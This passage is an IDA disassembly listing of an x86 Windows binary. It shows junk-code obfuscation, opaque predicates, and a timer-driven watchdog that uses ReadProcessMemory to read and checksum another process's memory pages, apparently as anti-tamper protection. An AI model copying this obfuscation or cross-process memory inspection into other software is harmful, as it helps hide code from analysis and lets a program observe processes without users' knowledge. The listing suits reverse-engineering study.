8Bh ; ‹ db 0ECh ; ì db 83h ; ƒ db 0ECh ; ì db 1Ch db 6Ah ; j db 1Ch db 8Dh ; db 45h ; E db 0E4h ; ä db 50h ; P db 8Bh ; ‹ db 4Dh ; M db 0Ch db 51h ; Q db 8Bh ; ‹ db 55h ; U db 8 db 52h ; R db 0FFh db 15h db 0C8h ; È db 0D0h ; Ð db 4Eh ; N db 0 db 8Bh ; ‹ db 45h ; E db 0E8h ; è db 8Bh ; ‹ db 0E5h ; å db 5Dh ; ] db 0C3h ; Ã ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4B742A(int,int,size_t Size,void *Src) sub_4B742A proc near ; CODE XREF: sub_4B742A+69p ; sub_4B742A+8Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Size = dword ptr 10h Src = dword ptr 14h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] sub eax, dword_4F4754 cdq and edx, 0FFFh add eax, edx sar eax, 0Ch mov [ebp+var_C], eax mov eax, [ebp+arg_4] sub eax, dword_4F4754 mov ecx, [ebp+Size] lea eax, [eax+ecx-1] cdq and edx, 0FFFh add eax, edx sar eax, 0Ch mov [ebp+var_8], eax mov edx, [ebp+var_C] cmp edx, [ebp+var_8] jz short loc_4B74C0 mov eax, [ebp+var_8] shl eax, 0Ch mov ecx, dword_4F4754 add ecx, eax sub ecx, [ebp+arg_4] mov [ebp+var_10], ecx mov edx, [ebp+Src] push edx ; Src mov eax, [ebp+var_10] push eax ; Size mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_0] push edx ; int call sub_4B742A add esp, 10h mov eax, [ebp+Src] add eax, [ebp+var_10] push eax ; Src mov ecx, [ebp+Size] sub ecx, [ebp+var_10] push ecx ; Size mov edx, [ebp+arg_4] add edx, [ebp+var_10] push edx ; int mov eax, [ebp+arg_0] push eax ; int call sub_4B742A add esp, 10h mov al, 1 jmp short loc_4B7535 ; --------------------------------------------------------------------------- loc_4B74C0: ; CODE XREF: sub_4B742A+43j push 10h call sub_4C85E1 add esp, 4 mov [ebp+var_14], eax mov ecx, [ebp+var_14] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_C] mov ecx, dword_4F4748 mov eax, [ecx+eax*4] mov [edx+0Ch], eax mov ecx, [ebp+var_C] mov edx, dword_4F4748 mov eax, [ebp+var_4] mov [edx+ecx*4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov [ecx+4], edx mov eax, [ebp+var_4] mov ecx, [ebp+Size] mov [eax+8], ecx mov edx, [ebp+Size] push edx call sub_4C85E1 add esp, 4 mov [ebp+var_18], eax mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax], ecx mov edx, [ebp+Size] push edx ; Size mov eax, [ebp+Src] push eax ; Src mov ecx, [ebp+var_4] mov edx, [ecx] push edx ; Dst call _memcpy_1 add esp, 0Ch mov al, 1 loc_4B7535: ; CODE XREF: sub_4B742A+94j mov esp, ebp pop ebp retn sub_4B742A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi jo short loc_4B754B jl short loc_4B7549 loc_4B7546: ; CODE XREF: .text:loc_4B7549j ; .text:loc_4B754Bj jmp short loc_4B754D ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B7549: ; CODE XREF: .text:004B7544j jz short loc_4B7546 loc_4B754B: ; CODE XREF: .text:004B7542j jmp short loc_4B7546 ; --------------------------------------------------------------------------- loc_4B754D: ; CODE XREF: .text:loc_4B7546j mov eax, [ebp+8] mov dword_4F4754, eax push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh ; CODE XREF: .text:004B75CEj xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B7578 loc_4B7575: ; CODE XREF: .text:004B7596j jmp short near ptr loc_4B7598+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B7578: ; CODE XREF: .text:004B7573j xor ebx, ebx jz short $+2 jmp short loc_4B758B ; --------------------------------------------------------------------------- dw 0EBB8h db 0Fh ; --------------------------------------------------------------------------- loc_4B7581: ; CODE XREF: .text:004B758Dj mov ecx, 34F9C987h nop stc jz short loc_4B758F ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B758B: ; CODE XREF: .text:004B757Cj xor eax, eax jz short loc_4B7581 loc_4B758F: ; CODE XREF: .text:004B7588j mov eax, 4840C987h test eax, eax jnz short loc_4B7575 loc_4B7598: ; CODE XREF: .text:loc_4B7575j jmp near ptr 92B212FEh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov ecx, [ebp+0Ch] add ecx, 0FFFh shr ecx, 0Ch mov dword_4F4768, ecx push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B75EA ; CODE XREF: .text:loc_4B75EAj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B75C2: ; CODE XREF: .text:004B75E3j jmp short loc_4B75E1 ; --------------------------------------------------------------------------- loc_4B75C4: ; CODE XREF: .text:loc_4B75E1j xor ecx, ecx loc_4B75C6: ; CODE XREF: .text:004B75D5j jz short $+2 jmp short loc_4B75DA ; --------------------------------------------------------------------------- loc_4B75CA: ; CODE XREF: .text:004B75DEj stc xor ecx, 3 jz short near ptr loc_4B755D+3 jmp short loc_4B75D7 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B75D3: ; CODE XREF: .text:loc_4B75D7j jmp short loc_4B75E5 ; --------------------------------------------------------------------------- jz short loc_4B75C6 loc_4B75D7: ; CODE XREF: .text:004B75D0j jnb short loc_4B75D3 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B75DA: ; CODE XREF: .text:004B75C8j sbb bl, bl xor ebx, ebx jmp short loc_4B75CA ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B75E1: ; CODE XREF: .text:loc_4B75C2j jmp short loc_4B75C4 ; --------------------------------------------------------------------------- jmp short loc_4B75C2 ; --------------------------------------------------------------------------- loc_4B75E5: ; CODE XREF: .text:loc_4B75D3j repne sbb al, 0DBh jmp short loc_4B75ED ; --------------------------------------------------------------------------- loc_4B75EA: ; CODE XREF: .text:004B75BDj jmp short near ptr loc_4B75BD+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B75ED: ; CODE XREF: .text:004B75E8j popa popf bswap eax not ecx bswap eax not ecx mov edx, [ebp+14h] mov dword_4F475C, edx push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh ; CODE XREF: .text:loc_4B7687j xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B7623 loc_4B7620: ; CODE XREF: .text:004B7641j jmp short near ptr loc_4B7643+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B7623: ; CODE XREF: .text:004B761Ej xor ebx, ebx jz short $+2 jmp short loc_4B7636 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B762C: ; CODE XREF: .text:004B7638j mov ecx, 34F9C987h nop stc jz short loc_4B763A ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B7636: ; CODE XREF: .text:004B7627j xor eax, eax jz short loc_4B762C loc_4B763A: ; CODE XREF: .text:004B7633j mov eax, 4840C987h test eax, eax jnz short loc_4B7620 loc_4B7643: ; CODE XREF: .text:loc_4B7620j jmp near ptr 92B213A9h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, dword_4F4768 shl eax, 2 push eax call sub_4C85E1 add esp, 4 mov [ebp-8], eax mov ecx, [ebp-8] mov dword_4F4770, ecx pusha xor eax, eax jnz short loc_4B7670 jmp short loc_4B7685 ; --------------------------------------------------------------------------- loc_4B7670: ; CODE XREF: .text:004B766Cj jmp short loc_4B76A5 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4B7677: ; CODE XREF: .text:loc_4B7685j jo short loc_4B7687 jmp short near ptr loc_4B7687+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh ; CODE XREF: .text:004B76F0j db 9 ; --------------------------------------------------------------------------- loc_4B7685: ; CODE XREF: .text:004B766Ej jz short loc_4B7677 loc_4B7687: ; CODE XREF: .text:loc_4B7677j ; .text:004B7679j jmp short near ptr loc_4B760E+2 ; --------------------------------------------------------------------------- db 0DBh, 7Ah, 0F0h dd 8B6133A0h, 4F476815h, 2E2C100h, 0F43E852h, 0C4830001h dd 0F4458904h db 8Bh ; --------------------------------------------------------------------------- loc_4B76A5: ; CODE XREF: .text:loc_4B7670j inc ebp hlt ; --------------------------------------------------------------------------- mov dword_4F4774, eax jo short loc_4B76B5 jl short loc_4B76B3 loc_4B76B0: ; CODE XREF: .text:loc_4B76B3j ; .text:loc_4B76B5j jmp short loc_4B76B7 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B76B3: ; CODE XREF: .text:004B76AEj jz short loc_4B76B0 loc_4B76B5: ; CODE XREF: .text:004B76ACj jmp short loc_4B76B0 ; --------------------------------------------------------------------------- loc_4B76B7: ; CODE XREF: .text:loc_4B76B0j mov ecx, dword_4F4768 shl ecx, 2 push ecx call sub_4C85E1 add esp, 4 mov [ebp-10h], eax mov edx, [ebp-10h] mov dword_4F4778, edx push eax not eax bswap eax pop eax jnb short $+2 pushf loc_4B76DE: ; CODE XREF: .text:004B774Cj pusha jmp short loc_4B770C ; CODE XREF: .text:loc_4B770Cj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B76E4: ; CODE XREF: .text:004B7705j jmp short loc_4B7703 ; --------------------------------------------------------------------------- loc_4B76E6: ; CODE XREF: .text:loc_4B7703j xor ecx, ecx loc_4B76E8: ; CODE XREF: .text:004B76F7j jz short $+2 jmp short loc_4B76FC ; --------------------------------------------------------------------------- loc_4B76EC: ; CODE XREF: .text:004B7700j stc xor ecx, 3 jz short near ptr dword_4B767C+6 jmp short loc_4B76F9 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B76F5: ; CODE XREF: .text:loc_4B76F9j jmp short loc_4B7707 ; --------------------------------------------------------------------------- jz short loc_4B76E8 loc_4B76F9: ; CODE XREF: .text:004B76F2j jnb short loc_4B76F5 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B76FC: ; CODE XREF: .text:004B76EAj sbb bl, bl xor ebx, ebx jmp short loc_4B76EC ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B7703: ; CODE XREF: .text:loc_4B76E4j jmp short loc_4B76E6 ; --------------------------------------------------------------------------- jmp short loc_4B76E4 ; --------------------------------------------------------------------------- loc_4B7707: ; CODE XREF: .text:loc_4B76F5j repne sbb al, 0DBh jmp short loc_4B770F ; --------------------------------------------------------------------------- loc_4B770C: ; CODE XREF: .text:004B76DFj jmp short near ptr loc_4B76DF+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B770F: ; CODE XREF: .text:004B770Aj popa popf bswap eax not ecx bswap eax not ecx push 1000h call sub_4C85E1 add esp, 4 mov [ebp-14h], eax mov eax, [ebp-14h] mov dword_4F477C, eax push eax not eax bswap eax pop eax jnb short $+2 pushf loc_4B773A: ; CODE XREF: .text:loc_4B77B1j pusha jmp short loc_4B7768 ; CODE XREF: .text:loc_4B7768j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B7740: ; CODE XREF: .text:004B7761j jmp short loc_4B775F ; --------------------------------------------------------------------------- loc_4B7742: ; CODE XREF: .text:loc_4B775Fj xor ecx, ecx loc_4B7744: ; CODE XREF: .text:004B7753j jz short $+2 jmp short loc_4B7758 ; --------------------------------------------------------------------------- loc_4B7748: ; CODE XREF: .text:004B775Cj stc xor ecx, 3 jz short loc_4B76DE jmp short loc_4B7755 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B7751: ; CODE XREF: .text:loc_4B7755j jmp short loc_4B7763 ; --------------------------------------------------------------------------- jz short loc_4B7744 loc_4B7755: ; CODE XREF: .text:004B774Ej jnb short loc_4B7751 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B7758: ; CODE XREF: .text:004B7746j sbb bl, bl xor ebx, ebx jmp short loc_4B7748 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B775F: ; CODE XREF: .text:loc_4B7740j jmp short loc_4B7742 ; --------------------------------------------------------------------------- jmp short loc_4B7740 ; --------------------------------------------------------------------------- loc_4B7763: ; CODE XREF: .text:loc_4B7751j repne sbb al, 0DBh jmp short loc_4B776B ; --------------------------------------------------------------------------- loc_4B7768: ; CODE XREF: .text:004B773Bj jmp short near ptr loc_4B773B+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B776B: ; CODE XREF: .text:004B7766j popa popf bswap eax not ecx bswap eax not ecx mov ecx, dword_4F4768 shl ecx, 2 push ecx call sub_4C85E1 add esp, 4 mov [ebp-18h], eax mov edx, [ebp-18h] mov dword_4F4748, edx pusha xor eax, eax jnz short loc_4B779A jmp short loc_4B77AF ; --------------------------------------------------------------------------- loc_4B779A: ; CODE XREF: .text:004B7796j jmp short loc_4B77CF ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4B77A1: ; CODE XREF: .text:loc_4B77AFj jo short loc_4B77B1 jmp short near ptr loc_4B77B1+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4B77AF: ; CODE XREF: .text:004B7798j jz short loc_4B77A1 loc_4B77B1: ; CODE XREF: .text:loc_4B77A1j ; .text:004B77A3j jmp short loc_4B773A ; --------------------------------------------------------------------------- db 0DBh dd 33A0F07Ah, 0FC45C761h, 0 ; --------------------------------------------------------------------------- jmp short loc_4B77CB ; --------------------------------------------------------------------------- loc_4B77C2: ; CODE XREF: .text:004B7814j mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_4B77CB: ; CODE XREF: .text:004B77C0j mov ecx, [ebp-4] ; --------------------------------------------------------------------------- db 3Bh ; --------------------------------------------------------------------------- loc_4B77CF: ; CODE XREF: .text:loc_4B779Aj or eax, offset dword_4F4768 jge short loc_4B7816 mov edx, [ebp-4] mov eax, dword_4F4770 mov dword ptr [eax+edx*4], 0FFFFFFFFh mov ecx, [ebp-4] mov edx, dword_4F4774 mov dword ptr [edx+ecx*4], 0 mov eax, [ebp-4] mov ecx, dword_4F4778 mov dword ptr [ecx+eax*4], 0FFFFFFFFh mov edx, [ebp-4] mov eax, dword_4F4748 mov dword ptr [eax+edx*4], 0 jmp short loc_4B77C2 ; --------------------------------------------------------------------------- loc_4B7816: ; CODE XREF: .text:004B77D4j pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov eax, dword_4F4770 mov [ebp-4], eax mov ecx, [ebp-4] push ecx call sub_4C85D6 add esp, 4 mov edx, dword_4F474C mov [ebp-8], edx mov eax, [ebp-8] push eax call sub_4C85D6 add esp, 4 mov ecx, dword_4F4774 mov [ebp-0Ch], ecx mov edx, [ebp-0Ch] push edx call sub_4C85D6 add esp, 4 mov eax, dword_4F4778 mov [ebp-10h], eax mov ecx, [ebp-10h] push ecx call sub_4C85D6 add esp, 4 mov edx, dword_4F477C mov [ebp-14h], edx mov eax, [ebp-14h] push eax call sub_4C85D6 add esp, 4 mov ecx, dword_4F4748 mov [ebp-18h], ecx mov edx, [ebp-18h] push edx call sub_4C85D6 add esp, 4 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B78A3 proc near ; DATA XREF: .text:004B9C10o var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_174 = byte ptr -174h var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = byte ptr -14Ch Dst = byte ptr -4Ch var_48 = dword ptr -48h var_3C = dword ptr -3Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4F1F88 push offset unknown_libname_18 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFE70h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] mov [ebp+var_24], eax push 2 call dword_4ED088 ; GetCurrentThread push eax call dword_4ED084 ; SetThreadPriority loc_4B78E1: ; CODE XREF: sub_4B78A3+69j mov ecx, [ebp+var_24] push ecx call sub_4B7C87 add esp, 4 and eax, 0FFh test eax, eax jz short loc_4B7919 push 1F4h mov edx, [ebp+var_24] push edx call dword_4ED224 ; WaitForInputIdle cmp eax, 102h jnz short loc_4B790E jmp short loc_4B78E1 ; --------------------------------------------------------------------------- loc_4B790E: ; CODE XREF: sub_4B78A3+67j push 0FAh call dword_4ED1A4 ; Sleep loc_4B7919: ; CODE XREF: sub_4B78A3+51j mov eax, [ebp+var_24] push eax call sub_4B7C87 add esp, 4 and eax, 0FFh test eax, eax jnz short loc_4B7935 xor eax, eax jmp loc_4B7C74 ; --------------------------------------------------------------------------- loc_4B7935: ; CODE XREF: sub_4B78A3+89j push 7530h mov ecx, [ebp+var_24] push ecx call dword_4ED224 ; WaitForInputIdle push 1F4h call dword_4ED1A4 ; Sleep push 0 ; Time call _time_0 add esp, 4 mov esi, eax call dword_4ED03C ; GetTickCount xor esi, eax mov [ebp+var_178], esi mov edx, [ebp+var_178] mov [ebp+var_154], edx mov [ebp+var_18C], 0Ah mov eax, [ebp+var_154] cdq mov ecx, 2710h idiv ecx mov [ebp+var_180], eax mov eax, [ebp+var_154] cdq mov ecx, 2710h idiv ecx mov [ebp+var_17C], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_188], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_184], edx mov ecx, [ebp+var_17C] imul ecx, [ebp+var_184] mov edx, [ebp+var_180] imul edx, [ebp+var_184] mov eax, [ebp+var_17C] imul eax, [ebp+var_188] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp+var_154], edx mov eax, [ebp+var_154] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp+var_18C] xor edx, edx mov ecx, 2710h div ecx add eax, 4 mov [ebp+var_150], eax lea edx, [ebp+var_14C] mov [ebp+var_20], edx loc_4B7A57: ; CODE XREF: sub_4B78A3+2D8j mov eax, [ebp+var_150] mov ecx, [ebp+var_150] sub ecx, 1 mov [ebp+var_150], ecx test eax, eax jbe loc_4B7B80 mov [ebp+var_1A0], 34h mov eax, [ebp+var_154] cdq mov ecx, 2710h idiv ecx mov [ebp+var_194], eax mov eax, [ebp+var_154] cdq mov ecx, 2710h idiv ecx mov [ebp+var_190], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_19C], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_198], edx mov ecx, [ebp+var_190] imul ecx, [ebp+var_198] mov edx, [ebp+var_194] imul edx, [ebp+var_198] mov eax, [ebp+var_190] imul eax, [ebp+var_19C] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp+var_154], edx mov eax, [ebp+var_154] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp+var_1A0] xor edx, edx mov ecx, 2710h div ecx mov [ebp+var_158], eax cmp [ebp+var_158], 1Ah sbb dl, dl and dl, 20h add dl, 41h movsx ecx, dl mov eax, [ebp+var_158] xor edx, edx mov esi, 1Ah div esi add ecx, edx mov edx, [ebp+var_20] mov [edx], cl mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax jmp loc_4B7A57 ; --------------------------------------------------------------------------- loc_4B7B80: ; CODE XREF: sub_4B78A3+1CBj mov ecx, [ebp+var_20] mov byte ptr [ecx], 0 push 28h ; Size push 0 ; Val lea edx, [ebp+Dst] push edx ; Dst call _memset_0 add esp, 0Ch mov [ebp+var_48], offset loc_4B7CAA push 0 call dword_4ED050 ; GetModuleHandleA mov [ebp+var_3C], eax lea eax, [ebp+var_14C] mov [ebp+var_28], eax lea ecx, [ebp+Dst] push ecx call dword_4ED24C ; RegisterClassA push 0 push 0 call dword_4ED050 ; GetModuleHandleA push eax push 0 push 0 push 80000000h push 80000000h push 80000000h push 80000000h push 0CF0000h push 0 lea edx, [ebp+var_14C] push edx push 0 call dword_4ED250 ; CreateWindowExA mov [ebp+var_1C], eax push 0 push 2710h push 1 mov eax, [ebp+var_1C] push eax call dword_4ED200 ; SetTimer mov [ebp+var_4], 0 loc_4B7C11: ; CODE XREF: sub_4B78A3+3B4j mov ecx, [ebp+var_24] push ecx call sub_4B7C87 add esp, 4 and eax, 0FFh test eax, eax jz short loc_4B7C59 push 0 push 0 push 0 lea edx, [ebp+var_174] push edx call dword_4ED1E8 ; GetMessageA test eax, eax jle short loc_4B7C59 lea eax, [ebp+var_174] push eax call dword_4ED260 ; TranslateMessage lea ecx, [ebp+var_174] push ecx call dword_4ED264 ; DispatchMessageA jmp short loc_4B7C11 ; --------------------------------------------------------------------------- loc_4B7C59: ; CODE XREF: sub_4B78A3+381j ; sub_4B78A3+398j mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4B7C72 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_4B7C72: ; CODE XREF: sub_4B78A3+3BDj xor eax, eax loc_4B7C74: ; CODE XREF: sub_4B78A3+8Dj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4B78A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B7C87 proc near ; CODE XREF: sub_4B78A3+42p ; sub_4B78A3+7Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_4F473C mov eax, [ebp+arg_0] push eax call dword_4ED0CC ; GetExitCodeProcess xor eax, eax cmp dword_4F473C, 103h setz al pop ebp retn sub_4B7C87 endp ; --------------------------------------------------------------------------- loc_4B7CAA: ; DATA XREF: sub_4B78A3+2F3o push ebp mov ebp, esp mov eax, 1080h call __alloca_probe_0 push ebx push esi push edi cmp dword ptr [ebp+0Ch], 11h jnz short loc_4B7D11 xor eax, eax mov al, byte_4F4780 test eax, eax jz short loc_4B7D07 push 1 push offset aShutdown ; "Shutdown" mov ecx, [ebp+8] push ecx call dword_4ED1DC ; SetPropA push 0 push offset sub_4B82D2 mov edx, dword_4F4750 mov eax, [edx+0Ch] push eax call dword_4ED1E0 ; EnumThreadWindows push offset aShutdown ; "Shutdown" mov ecx, [ebp+8] push ecx call dword_4ED1E4 ; GetPropA jmp loc_4B82C9 ; --------------------------------------------------------------------------- loc_4B7D07: ; CODE XREF: .text:004B7CC9j mov eax, 1 jmp loc_4B82C9 ; --------------------------------------------------------------------------- loc_4B7D11: ; CODE XREF: .text:004B7CBEj cmp dword ptr [ebp+0Ch], 16h jnz short loc_4B7D58 xor edx, edx mov dl, byte_4F4780 test edx, edx jz short loc_4B7D4E mov eax, [ebp+10h] mov [ebp-8], eax mov ecx, [ebp+14h] mov [ebp-4], ecx lea edx, [ebp-8] push edx push offset sub_4B8307 mov eax, dword_4F4750 mov ecx, [eax+0Ch] push ecx call dword_4ED1E0 ; EnumThreadWindows xor eax, eax jmp loc_4B82C9 ; --------------------------------------------------------------------------- loc_4B7D4E: ; CODE XREF: .text:004B7D21j mov eax, 1 jmp loc_4B82C9 ; --------------------------------------------------------------------------- loc_4B7D58: ; CODE XREF: .text:004B7D15j cmp dword ptr [ebp+0Ch], 113h jnz loc_4B82B3 mov edx, dword_4ED3B0 xor edx, dword_4ED3FC xor edx, dword_4ED3F0 and edx, 8 test edx, edx jz loc_4B82AC push offset dword_4F45B0 call dword_4ED1A8 ; RtlEnterCriticalSection mov byte ptr [ebp-14h], 1 mov dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-10h], 0 jmp short loc_4B7DAA ; --------------------------------------------------------------------------- loc_4B7DA1: ; CODE XREF: .text:loc_4B7EA4j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_4B7DAA: ; CODE XREF: .text:004B7D9Fj mov ecx, [ebp-10h] cmp ecx, dword_4F4768 jge loc_4B7EA9 mov edx, [ebp-10h] shl edx, 0Ch mov eax, dword_4F4754 add eax, edx mov [ebp-1Ch], eax mov ecx, [ebp-10h] mov edx, dword_4F4774 mov eax, [edx+ecx*4] and eax, 1 loc_4B7DD8: ; CODE XREF: .text:004B7E46j test eax, eax jz loc_4B7EA4 mov ecx, [ebp-10h] mov edx, dword_4F4774 mov eax, [edx+ecx*4] and eax, 4 test eax, eax jz loc_4B7EA4 lea ecx, [ebp-18h] push ecx push 1000h lea edx, [ebp-101Ch] push edx mov eax, [ebp-1Ch] push eax mov ecx, dword_4F4750 mov edx, [ecx] push edx call dword_4ED0D0 ; ReadProcessMemory test eax, eax jz loc_4B7EA4 mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B7E62 ; CODE XREF: .text:loc_4B7E62j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B7E3A: ; CODE XREF: .text:004B7E5Bj jmp short loc_4B7E59 ; --------------------------------------------------------------------------- loc_4B7E3C: ; CODE XREF: .text:loc_4B7E59j xor ecx, ecx loc_4B7E3E: ; CODE XREF: .text:004B7E4Dj jz short $+2 jmp short loc_4B7E52 ; --------------------------------------------------------------------------- loc_4B7E42: ; CODE XREF: .text:004B7E56j stc xor ecx, 3 jz short loc_4B7DD8 jmp short loc_4B7E4F ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B7E4B: ; CODE XREF: .text:loc_4B7E4Fj jmp short loc_4B7E5D ; --------------------------------------------------------------------------- jz short loc_4B7E3E loc_4B7E4F: ; CODE XREF: .text:004B7E48j jnb short loc_4B7E4B ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B7E52: ; CODE XREF: .text:004B7E40j sbb bl, bl xor ebx, ebx jmp short loc_4B7E42 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B7E59: ; CODE XREF: .text:loc_4B7E3Aj jmp short loc_4B7E3C ; --------------------------------------------------------------------------- jmp short loc_4B7E3A ; --------------------------------------------------------------------------- loc_4B7E5D: ; CODE XREF: .text:loc_4B7E4Bj repne sbb al, 0DBh jmp short loc_4B7E65 ; --------------------------------------------------------------------------- loc_4B7E62: ; CODE XREF: .text:004B7E35j jmp short near ptr loc_4B7E35+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B7E65: ; CODE XREF: .text:004B7E60j popa popf bswap eax not ecx bswap eax not ecx push 0FFFFFFFFh push 1000h lea ecx, [ebp-101Ch] push ecx call sub_490FB0 add esp, 0Ch mov edx, [ebp-10h] mov ecx, dword_4F4778 cmp eax, [ecx+edx*4] jz short loc_4B7E99 mov byte ptr [ebp-14h], 0 jmp short loc_4B7EA4 ; --------------------------------------------------------------------------- loc_4B7E99: ; CODE XREF: .text:004B7E91j call dword_4ED03C ; GetTickCount mov dword_4F4760, eax loc_4B7EA4: ; CODE XREF: .text:004B7DDAj ; .text:004B7DF1j ... jmp loc_4B7DA1 ; --------------------------------------------------------------------------- loc_4B7EA9: ; CODE XREF: .text:004B7DB3j cmp dword ptr [ebp-0Ch], 0 jnz short loc_4B7EBA call dword_4ED03C ; GetTickCount mov dword_4F4760, eax loc_4B7EBA: ; CODE XREF: .text:004B7EADj mov edx, [ebp-14h] and edx, 0FFh test edx, edx jnz loc_4B82A1 mov dword ptr [ebp-1020h], 0 jmp short loc_4B7EE6 ; --------------------------------------------------------------------------- loc_4B7ED7: ; CODE XREF: .text:004B829Cj mov eax, [ebp-1020h] add eax, 1 mov [ebp-1020h], eax loc_4B7EE6: ; CODE XREF: .text:004B7ED5j mov ecx, [ebp-1020h] cmp ecx, dword_4F4768 jge loc_4B82A1 mov dword ptr [ebp-1044h], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv 